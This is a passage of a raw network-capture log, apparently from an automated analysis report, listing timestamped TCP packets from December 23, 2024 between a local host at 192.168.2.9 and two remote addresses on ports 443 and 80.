                                                                                                                                                                          Dec 23, 2024 08:40:12.295053005 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.295392990 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:12.299680948 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.304266930 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.304338932 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:12.304353952 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.308934927 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.309014082 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:12.309035063 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.313724995 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.313791037 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.314286947 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:12.314311981 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.314404964 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:12.314404964 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:12.314466953 CET44349803172.217.17.65192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:12.314538956 CET49803443192.168.2.9172.217.17.65
                                                                                                                                                                          Dec 23, 2024 08:40:13.384968996 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:13.385013103 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:13.385030985 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:13.385062933 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:13.385071039 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:13.385080099 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:13.385088921 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:13.385128975 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:13.385183096 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:13.385420084 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:13.385437965 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:13.385446072 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:13.385513067 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:13.505316019 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:13.505376101 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:13.505624056 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:13.509747028 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:13.597750902 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:13.597809076 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:13.597870111 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:13.601855040 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:13.601907015 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:13.601977110 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:13.610311031 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:13.610409975 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:13.610455990 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:13.618582964 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:13.618709087 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:13.618762970 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:13.626996994 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:13.627052069 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:13.627116919 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:13.635354996 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:13.635418892 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:13.635447025 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:13.643742085 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:13.643798113 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:13.643840075 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:13.652122974 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:13.652173996 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:13.652204037 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:13.763283968 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:13.763299942 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:13.763356924 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:13.771564960 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:13.771579027 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:13.771610975 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:13.882663012 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:13.882678986 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:13.882749081 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:13.890954018 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:13.890974998 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:13.891005993 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:13.973948002 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.003376007 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.003436089 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.003448009 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.003458023 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.003489017 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.003494978 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.003504992 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.003530025 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.003551006 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.004389048 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.004403114 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.004435062 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.004447937 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.004452944 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.004496098 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.005305052 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.005317926 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.005351067 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.005363941 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.005378962 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.005394936 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.005409956 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.006058931 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.006117105 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.006299019 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.006313086 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.006325006 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.006360054 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.007114887 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.007128000 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.007138968 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.007168055 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.007168055 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.007181883 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.007194042 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.007204056 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.007208109 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.007220984 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.007231951 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.007239103 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.007272005 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.008038998 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.008052111 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.008063078 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.008075953 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.008088112 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.008100033 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.008104086 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.008112907 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.008126020 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.008127928 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.008143902 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.008177042 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.008992910 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.009007931 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.009067059 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.015384912 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.083340883 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.093594074 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.093705893 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.093755960 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.096790075 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.096986055 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.097095013 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.103286982 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.103384018 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.103430033 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.123099089 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.123359919 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.123413086 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.126303911 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.126365900 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.126415014 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.132817030 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.132886887 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.132927895 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.139132023 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.139363050 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.139414072 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.145615101 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.145813942 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.145905972 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.149769068 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.149950027 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.149996996 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.154031038 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.154181004 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.154231071 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.158308029 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.158473969 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.158518076 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.162547112 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.162566900 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.162615061 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.166719913 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.166801929 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.166843891 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.170955896 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.171076059 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.171129942 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.175107956 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.175200939 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.175257921 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.179383039 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.179523945 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.179574966 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.183562994 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.183748960 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.183895111 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.187764883 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.187922001 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.187972069 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.191998005 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.192074060 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.192116976 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.196224928 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.196294069 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.196712971 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.200447083 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.200563908 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.200614929 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.204720020 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.204770088 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.204824924 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.208899975 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.209045887 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.209093094 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.213126898 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.213184118 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.213254929 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.217324018 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.217463017 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.217546940 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.221509933 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.221673965 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.221729994 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.225780010 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.225800037 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.226058960 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.230101109 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.230160952 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.230254889 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.234255075 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.234298944 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.234477997 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.238444090 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.238595963 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.238708973 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.242650032 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.242799044 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.242902040 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.246841908 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.246979952 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.247020960 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.251035929 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.251239061 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.251288891 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.255290985 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.255594015 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.255825043 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.259557962 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.259583950 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.259643078 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.263761044 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.263962030 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.264012098 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.267959118 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.268069983 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.268121004 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.272288084 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.272294044 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.272337914 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.276411057 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.276459932 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.276750088 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.280627966 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.280723095 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.280771971 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.284853935 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.284981966 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.285079956 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.289046049 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.289139032 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.289237976 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.293291092 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.293423891 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.293488026 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.297485113 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.297648907 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.297688961 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.301707029 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.301810980 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.301852942 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.305775881 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.305942059 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.306027889 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.309779882 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.309819937 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.310004950 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.313474894 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.313590050 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.314071894 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.317073107 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.317178011 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.317306042 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.320578098 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.320749998 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.320797920 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.324002981 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.324016094 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.324076891 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.327408075 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.327490091 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.327543974 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.330497980 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.330634117 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.330681086 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.333712101 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.333827972 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.333880901 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.336906910 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.336961031 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.337007046 CET4981380192.168.2.9139.99.188.124
